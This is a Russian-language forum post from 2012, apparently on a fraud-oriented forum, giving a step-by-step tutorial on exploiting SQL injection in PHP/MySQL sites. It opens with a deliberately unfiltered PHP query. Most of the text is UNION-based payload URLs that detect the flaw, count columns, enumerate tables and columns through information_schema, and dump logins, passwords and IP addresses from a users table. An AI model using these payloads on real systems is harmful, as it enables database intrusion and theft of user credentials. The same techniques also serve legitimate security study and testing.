1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Проведение SQL Injection в MySQL

Тема в разделе "Чужие", создана пользователем PunktFREE, 20 авг 2012.

  1. TopicStarter Overlay
    PunktFREE

    PunktFREE Гость

    Что такое SQL инъекции (SQL Injection) ?
    Очень многие разработчики сайтов, при написании приложений и составлении запросов к БД , при чем запросы имеют параметр , передающийся из вне например GET или POST методом, не задумываются о том что полученные данные не всегда будут корректными. Например:
    Код:
    1.    <?php
    2.    $id=$_GET['id'];
    3.    $mysql=mysql_connect("localhost","login","passowrd");
    4.    mysql_select_db("test",$mysql);
    5.    $query="SELECT * FROM admin WHERE id=".$id;
    6.    $result=mysql_query($query);
    7.    while($row=mysql_fetch_array($result)) {
    8.    echo $row["login"]."<br>";
    9.    }
    10.    mysql_close($mysql);
    11.    ?>
    Здесь видно что в запрос к БД поступает методом GET информация извне, потом она обрабатывается и выводится логин юзера при соответствующем id. В данном примере нет никакой фильтрации поступающих данных. Наша задача заключается в том чтобы составить корректный но поддельный запрос к БД. Итак SQL Injection – это подделка запроса к БД . На примере этого кода мы рассмотрим эксплуатацию SQL Injection.
    Как составляются запросы к БД.
    Я не буду рассказывать про сложные запросы, а разберу простые. Подробнее про SQL вы можете почитать документацию. Итак, начнем:
    Код:
    SELECT id, login, password FROM admin where id=1
    Оператор SELECT(Выбор)- выбирает из таблицы нужные нам колонки. В данном примере это id, login, password. Если стоит `*`то значит выбираются все колонки данной таблицы. Далее идет FROM(из). После него пишется имя таблицы. WHERE(где) после этого слова пишется все что угодно. В данном случае выбирается юзер с id=1. Рассмотрим пару полезных операторов в SQL:
    UNION(объединение) – объединяет два SELECT запроса.
    ORDER BY или GROUP BY - упорядочивает результат запроса в соответствии со значениями одного или нескольких столбцов, выбранных в предложении SELECT
    LIMIT x,y - отсчитывает y строк из x.
    Функции:
    Hex() – переводит строку в HEX
    Unhex() – производит обратное преобразование из hex
    Concat() или Concat_ws() – объединяют результат вывода
    Комментарии:
    Код:
    #, +--+ - однострочные коментарии
    /* - многострочные коментарии
    Для начала хватит.
    Ошибки SQL
    Стандартные ошибки которые свидетельствуют о наличии SQL инъекции:
    Код:
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\ on line 7
    Или типа:
    Код:
    You have an error in your SQL syntax ....  
    Также вывод ошибок может быть отключен, но это не значит что ее нет.​
    Обнаружение SQL Injection

    Для того чтобы обнаружить наличие SQL Injection можно передать запросы типа:
    Код:
    1.    _http://localhost/b_code.php?id=1'
    2.    _http://localhost/b_code.php?id=199999999999999999999
    3.    _http://localhost/b_code.php?id=1+and+1=1
    4.    _http://localhost/b_code.php?id=1+and+1=0
    5.    _http://localhost/b_code.php?id=1’+and+’1’=’1
    6.    _http://localhost/b_code.php?id=1’+and+’1’=’0
    7.    _http://localhost/b_code.php?id=-1+or+1=1
    8.    _http://localhost/b_code.php?id=-1+or+1=0
    9.    _http://localhost/b_code.php?id=1+order+by+1000000
    Разберем их по отдельности:
    1: Если первый запрос вернет ошибку то можно явно говорить о наличии уязвимости
    2:Второй запрос передает БД несуществующий параметр. Если он вернет ошибку то уязвимость также присутствует.
    3, 4:Если при посылке третьего запроса страница отображается без изменений а при посылке четвертого она результат отображения изменяется (Например: срабатывает перенаправление или исчезают титлы) то можно говорить об узявимости.Данный тип запроса полезен при выключенных ошибках.
    5,6,7,8: Аналогично 3,4.
    9: Иногда бывает так что логика с or, and не срабатывает тогда можно попробовать сразу начать перебирать колонки иногда катит:).​
    Подбор колонок

    Чтобы подобрать колонки можно юзать один из двух вариантов:
    1: Полный перебор
    Это когда мы полностью перебираем все колонки пока не увидим результат. Результатом будут наши цифры из запроса т. е.:
    Код:
    1)    _http://localhost/b_code.php?id=-1+union+select+1+--+ 
    2)    _http://localhost/b_code.php?id=-1+union+select+1,2+--+
    3)    _http://localhost/b_code.php?id=-1+union+select+1,2,3+--+
    И так до тех пор пока количество цифр не будет равно количеству колонок между SELECT и FROM. Для того чтобы увидеть наш результат в браузере а не содержимое колонки с id=1 мы передаем ложный параметр. В данном случае id=-1.
    2: Использование ORDER BY (GROUP BY):
    Этот способ хорош тем что мы можем быстро подобрать в несколько запросов правильное количество колонок.
    Код:
    1)    _http://localhost/b_code.php?id=1+order+by+1+--+
    2)    _http://localhost/b_code.php?id=1+order+by+100+--+
    3)    _http://localhost/b_code.php?id=1+order+by+3+--+
    4)    _http://localhost/b_code.php?id=1+order+by+4+--+
    При посылке первого запроса страница отобразится нормально т.к. число колонок между SELECT и FROM больше или равна одному. При посылке второго запроса мы видим на странице либо ошибку того что колонок не 100 либо страница изменится что свидетельствует о том что колонок меньше 100. Третий запрос возвращает страницу в нормальном виде значит колонок либо больше 3 либо равно 3. Четвертый запрос возвращает страницу как при посылке 2 запроса значит колонок 3.Оператор GROUP BY работает аналогично.​
    Составляем запрос и узнаем нужную нам информацию

    Итак, мы подобрали число колонок. Теперь нам надо составить запрос к БД. Пробуем:
    _Please login or register to view links
    Запрос к БД выглядит так :
    Код:
    (SELECT id, login, password FROM admin WHERE id=-1 union select 1,2,3+--+)
    Мы объединили два SELECT запроса в результате получился корректный запрос . В результате мы увидим наши цифры в окне браузера. Можно было использовать и and или or:
    Код:
    _http://localhost/b_code.php?id=1+and+1=0+union+select+1,2,3+--+
    _http://localhost/b_code.php?id=-1+or+1=0+union+select+1,2,3+--+
    Теперь нам нужно узнать версию, юзера, имя базы. Для этого будем использовать функции version(), user(), database().Пусть на экране отобразилась цифра 2 тогда составляем следующие запросы :
    Код:
    1)    _http://localhost/b_code.php?id=-1 +union+select+1,version(),3+--+
    2)    _http://localhost/b_code.php?id=-1 +union+select+1,user(),3+--+
    3)    _http://localhost/b_code.php?id=-1 +union+select+1,database(),3+--+
    Или можно послать один запрос объединив функцией concat() или concat_ws():
    Код:
    http://localhost/b_code.php?id=-1 +union+select+1,concat(version(),0x3a,user(),0x3a,database()),3+--+
    0x3a – шестнадцатиричный код символа ‘:’. Среди этих функций более важной для нас является версия. Если версия 5 или выше то мы сможем узнать все таблицы и колонки. Если версия ниже 5 то нам вручную придется подбирать и таблицу и колонки к ней. Сначало я рассмотрю 5 версию.
    Версия 5 и выше.
    В данной версии есть база данных с названием information_schema в которой есть таблицы с названием tables и columns . В них хранится информация о таблицах и колонках . Теперь попробуем узнать таблицы нашего сайта. Для этого составим запрос типа:
    Код:
    _http://localhost/b_code.php?id=-1 +union+select+1,table_name,3+from+information_schema.tables+--+
    Так мы увидим первую таблицу. Теперь с помощью LIMIT перебираем все остальные.
    Код:
    _http://localhost/b_code.php?id=-1 +union+select+1,table_name,3+from+information_schema.tables+limit+0,1+--+
    _http://localhost/b_code.php?id=-1 +union+select+1,table_name,3+from+information_schema.tables+limit+1,1+--+
    и т.д.
    Когда мы найдем нужную нам таблицу, мы должны узнать ее колонки, чтобы получить информацию из БД. Пусть мы нашли таблицу users. Составим следующий запрос:
    Код:
    _http://localhost/b_code.php?id=-1 +union+select+1, column_name,3+from+information_schema.columns+where+table_name=0x7573657273+--+ 
    где
    7573657273 – users в hex.
    Можно было сделать вывод сразу т.е.:
    Код:
    _http://localhost/b_code.php?id=-1+union+select+1,concat(table_name,0x3a,column_name),3+from+information_schema.columns+--+
    Также с помощью LIMIT перебираем колонки.
    Код:
    _http://localhost/b_code.php?id=-1 +union+select+1, column_name,3+from+information_schema.columns+where+table_name=0x7573657273+limit+0,1+--+  
    Пусть мы нашли колонки с названием login,password,icq,ip. Чтобы получить информацию из них мы составим следующий запрос:
    Код:
    _http://localhost/b_code.php?id=-1 +union+select+1, concat(login,0x3a,password, 0x3a,icq, 0x3a,ip),3+from+users+--+  
    И также с помощью LIMIT перебираем всех юзеров. Впринципе все. Насчет четвертой версии это не катит т.к. там нет БД information_schema и нам придется угадать и таблицы и колонки.​

    Copyright InkhorN
     
    Метки:

Поделиться этой страницей

Загрузка...